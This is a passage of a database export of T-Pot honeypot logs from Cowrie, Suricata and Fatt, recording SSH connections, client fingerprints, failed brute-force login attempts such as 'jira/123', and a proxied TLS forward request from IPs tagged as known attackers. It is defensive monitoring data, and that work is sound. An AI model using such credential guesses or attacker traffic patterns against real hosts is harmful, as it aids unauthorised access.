"ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2129, "dest_port": 22, "timestamp": "2021-09-20T11:29:38.452942", "@timestamp": "2021-09-20T11:29:38.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29792	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:29:38.453561+03	2021-09-20 14:30:04.588524+03	{"_id": "Kwb3AnwBvYTbRNuE_jgZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1e103722d25a", "@version": "1", "timestamp": "2021-09-20T11:29:38.453561Z", "@timestamp": "2021-09-20T11:29:38.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29793	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:41.93262+03	2021-09-20 14:30:04.590523+03	{"_id": "LQb4AnwBvYTbRNuECDjB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60216, "timestamp": "2021-09-20T11:29:41.932620", "@timestamp": "2021-09-20T11:29:41.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29794	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:29:41.678768+03	2021-09-20 14:30:04.591524+03	{"_id": "NQb4AnwBvYTbRNuECTjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:60216 (192.168.176.2:22) [session: e8c096fcbe9b]", "session": "e8c096fcbe9b", "@version": "1", "protocol": "ssh", "src_port": 60216, "dest_port": 22, "timestamp": "2021-09-20T11:29:41.678768Z", "@timestamp": "2021-09-20T11:29:41.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29795	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:29:41.795754+03	2021-09-20 14:30:04.592524+03	{"_id": "Nwb4AnwBvYTbRNuECTjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [jira/123] failed", "session": "1e103722d25a", "@version": "1", "password": "123", "username": "jira", "timestamp": "2021-09-20T11:29:41.795754Z", "@timestamp": "2021-09-20T11:29:41.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29796	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:29:41.907595+03	2021-09-20 14:30:04.593523+03	{"_id": "OAb4AnwBvYTbRNuECTjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 2, "data": "b\\"\\\\x16\\\\x03\\\\x03\\\\x00\\\\xaf\\\\x01\\\\x00\\\\x00\\\\xab\\\\x03\\\\x03aHp\\\\x9f\\\\xfa\\\\x80\\\\x84\\\\xdb\\\\xd1)ik\\\\xe1t0\\\\xc4J\\\\x96\\\\xa0\\\\x8d^\\\\xe9\\\\x16\\\\xde\\\\xcf\\\\xeb\\\\xaa\\\\xf0T\\\\x8ej\\\\x99\\\\x00\\\\x004\\\\xc0(\\\\xc0'\\\\xc0\\\\x14\\\\xc0\\\\x13\\\\x00\\\\x9f\\\\x00\\\\x9e\\\\x009\\\\x003\\\\x00\\\\x9d\\\\x00\\\\x9c\\\\x00=\\\\x00<\\\\x005\\\\x00/\\\\xc0,\\\\xc0+\\\\xc0$\\\\xc0#\\\\xc0\\\\n\\\\xc0\\\\t\\\\x00j\\\\x00@\\\\x008\\\\x002\\\\x00\\\\n\\\\x00\\\\x13\\\\x01\\\\x00\\\\x00N\\\\x00\\\\x00\\\\x00\\\\x15\\\\x00\\\\x13\\\\x00\\\\x00\\\\x10www.evernote.com\\\\x00\\\\n\\\\x00\\\\x06\\\\x00\\\\x04\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00\\\\r\\\\x00\\\\x14\\\\x00\\\\x12\\\\x06\\\\x01\\\\x06\\\\x03\\\\x04\\\\x01\\\\x05\\\\x01\\\\x02\\\\x01\\\\x04\\\\x03\\\\x05\\\\x03\\\\x02\\\\x03\\\\x02\\\\x02\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\"", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "www.evernote.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 2 to www.evernote.com:443 with data b\\"\\\\x16\\\\x03\\\\x03\\\\x00\\\\xaf\\\\x01\\\\x00\\\\x00\\\\xab\\\\x03\\\\x03aHp\\\\x9f\\\\xfa\\\\x80\\\\x84\\\\xdb\\\\xd1)ik\\\\xe1t0\\\\xc4J\\\\x96\\\\xa0\\\\x8d^\\\\xe9\\\\x16\\\\xde\\\\xcf\\\\xeb\\\\xaa\\\\xf0T\\\\x8ej\\\\x99\\\\x00\\\\x004\\\\xc0(\\\\xc0'\\\\xc0\\\\x14\\\\xc0\\\\x13\\\\x00\\\\x9f\\\\x00\\\\x9e\\\\x009\\\\x003\\\\x00\\\\x9d\\\\x00\\\\x9c\\\\x00=\\\\x00<\\\\x005\\\\x00/\\\\xc0,\\\\xc0+\\\\xc0$\\\\xc0#\\\\xc0\\\\n\\\\xc0\\\\t\\\\x00j\\\\x00@\\\\x008\\\\x002\\\\x00\\\\n\\\\x00\\\\x13\\\\x01\\\\x00\\\\x00N\\\\x00\\\\x00\\\\x00\\\\x15\\\\x00\\\\x13\\\\x00\\\\x00\\\\x10www.evernote.com\\\\x00\\\\n\\\\x00\\\\x06\\\\x00\\\\x04\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00\\\\r\\\\x00\\\\x14\\\\x00\\\\x12\\\\x06\\\\x01\\\\x06\\\\x03\\\\x04\\\\x01\\\\x05\\\\x01\\\\x02\\\\x01\\\\x04\\\\x03\\\\x05\\\\x03\\\\x02\\\\x03\\\\x02\\\\x02\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\"", "session": "1408bad53d51", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:29:41.907595Z", "@timestamp": "2021-09-20T11:29:41.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
29797	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:29:49.846555+03	2021-09-20 14:30:04.595524+03	{"_id": "Rwb4AnwBvYTbRNuEKTgY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:23328 (192.168.176.2:22) [session: c0a2ea2eb711]", "session": "c0a2ea2eb711", "@version": "1", "protocol": "ssh", "src_port": 23328, "dest_port": 22, "timestamp": "2021-09-20T11:29:49.846555Z", "@timestamp": "2021-09-20T11:29:49.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30292	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:34:10.38497+03	2021-09-20 14:45:02.812142+03	{"_id": "uAb8AnwBvYTbRNuEITs6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "722b1ad4fa39", "@version": "1", "duration": 2.142439126968384, "timestamp": "2021-09-20T11:34:10.384970Z", "@timestamp": "2021-09-20T11:34:10.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29798	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:29:49.849597+03	2021-09-20 14:30:04.596523+03	{"_id": "SAb4AnwBvYTbRNuEKTgY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c0a2ea2eb711", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:29:49.849597Z", "@timestamp": "2021-09-20T11:29:49.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29799	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:29:50.139788+03	2021-09-20 14:30:04.597555+03	{"_id": "SQb4AnwBvYTbRNuEKTgY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c0a2ea2eb711", "@version": "1", "timestamp": "2021-09-20T11:29:50.139788Z", "@timestamp": "2021-09-20T11:29:50.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29800	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:29:50.138816+03	2021-09-20 14:30:04.598554+03	{"_id": "Swb4AnwBvYTbRNuEKjjD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 739427755063630, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 23328, "dest_port": 22, "timestamp": "2021-09-20T11:29:50.138816Z", "@timestamp": "2021-09-20T11:29:50.138Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29801	120.36.157.98	109.199.241.180	Fatt	2021-09-20 14:29:50.139166+03	2021-09-20 14:30:04.600524+03	{"_id": "Tgb4AnwBvYTbRNuEKzjs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 23328, "dest_port": 22, "timestamp": "2021-09-20T11:29:50.139166", "@timestamp": "2021-09-20T11:29:50.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29802	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:29:51.391321+03	2021-09-20 14:30:04.601523+03	{"_id": "Twb4AnwBvYTbRNuEMDjo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [sk/12345] failed", "session": "c0a2ea2eb711", "@version": "1", "password": "12345", "username": "sk", "timestamp": "2021-09-20T11:29:51.391321Z", "@timestamp": "2021-09-20T11:29:51.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29803	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:29:50.139166+03	2021-09-20 14:30:04.603524+03	{"_id": "TAb4AnwBvYTbRNuEKjjD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:29:49.555342+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 739427755063630, "payload": "AAADzAYUTcMzljZB6tkRY6oX91e6JAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3R